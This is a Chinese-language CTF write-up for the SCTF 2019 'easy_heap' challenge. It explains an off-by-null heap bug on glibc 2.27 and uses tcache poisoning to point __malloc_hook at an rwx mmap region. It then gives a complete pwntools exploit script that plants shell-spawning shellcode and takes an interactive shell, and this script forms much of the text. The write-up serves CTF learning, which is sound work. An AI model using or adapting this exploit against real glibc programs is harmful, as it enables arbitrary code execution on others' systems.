正文
sctf_2019_easy_heap(off-by-null在2.27的利用)
小程序:扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序
【扫一扫了解最新限行尾号】
复制小程序
题目的例行检查我就不放了
将程序放入ida中
漏洞也较为明显
可以看到 if这里多一个null ,明显的off by null 漏洞
程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我们可以第一时间想到往这里填shellcode然后讲malloc_hook的值修改为mmap的地址
这道题还是看了一下网上师傅们的wp(没忍住。我的错)
首先我们第一次往mmap的地方填入shellcode的时候
tcachebins 形成了这样的结构
我们可以通过修改这个chunk的fd打到任意地址写的能力(下面的double free是往malloc_hook写mmap地址的时候用)
所以这道题的思路就是:首先我们先申请四个chunk
我们将chunk0释放掉,这样里面就有了main_arena+96的地址,然后我们通过修改chunk1的内容,将chunk2实现了向上合并,我们再将chunk0,chunk1申请回来
这样就形成了这样的结构
然后我通过释放掉chunk 3 chunk 1 chunk 2 从而获得了tcachebins的那种结构,然后我们在申请 chunk1回来,就可以修改mmap的内容了
完整exp如下
from pwn import *
context(arch='amd64',os='linux')
p = process('./sctf_2019_easy_heap')
#p = remote('node4.buuoj.cn','25848')
elf = ELF('./sctf_2019_easy_heap')
libc = ELF('libc-2.27.so') def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0]) def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size)) def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content) def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index: ',str(index)) launch_gdb()
p.recvuntil('Mmap: 0x')
mmap = int(p.recv(10),16)
print('mmap-->'+hex(mmap)) add(0x410)
add(0x58)
add(0x500-0x10)
add(0x58) free(0)
edit(1,b'a'*0x50+p64(0x420+0x60))
free(2)
add(0x410)
add(0x58) free(3) free(1) free(2) add(0x58)
edit(1,p64(mmap)+b'\n')
shellcode = asm(shellcraft.sh())
add(0x58)
add(0x58)
edit(3,shellcode+b'\n') add(0x500-0x10)
free(0)
edit(1,b'a'*0x50+p64(0x60+0x420))
free(1)
free(4) add(0x410) edit(2,p8(0x30)+b'\n')
add(0x58)
add(0x58)
edit(4,p64(mmap)+b'\n')
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(0x1)) p.interactive()